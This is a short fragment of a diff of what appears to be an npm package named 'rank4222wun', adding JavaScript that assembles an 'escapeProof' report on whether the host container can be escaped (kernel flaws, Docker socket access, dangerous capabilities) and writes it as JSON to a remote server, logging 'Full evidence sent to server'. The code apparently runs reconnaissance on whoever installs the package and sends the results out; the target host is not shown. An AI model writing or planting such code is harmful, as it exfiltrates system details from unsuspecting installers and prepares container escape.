|
|
366
|
+
escapeProof.conclusion = {
|
|
367
|
+
containerEscapePossible: escapePossible,
|
|
368
|
+
riskLevel: escapePossible ? 'CRITICAL' : 'MEDIUM',
|
|
369
|
+
evidenceSummary: `Container escape is possible via: ${[
|
|
370
|
+
analysis.kernelVulnerable ? 'Kernel vulnerability' : null,
|
|
371
|
+
analysis.dockerSocketAccess ? 'Docker socket access' : null,
|
|
372
|
+
analysis.dangerousCapabilities ? 'Dangerous capabilities' : null
|
|
373
|
+
].filter(x => x).join(', ')}`
|
|
371
374
|
};
|
|
372
375
|
|
|
373
|
-
req.write(JSON.stringify(
|
|
376
|
+
req.write(JSON.stringify(escapeProof, null, 2));
|
|
374
377
|
req.end();
|
|
375
378
|
|
|
376
379
|
console.log("\n📤 Full evidence sent to server");
|
|
377
380
|
console.log("=".repeat(70));
|
|
378
381
|
}
|
|
379
382
|
|
|
380
|
-
//
|
|
381
|
-
|
|
383
|
+
// Start collection
|
|
384
|
+
console.log("Starting container escape evidence collection...");
|
|
Binary file
|
package/rank4222wun-1.0.21.tgz
DELETED
|
Binary file
|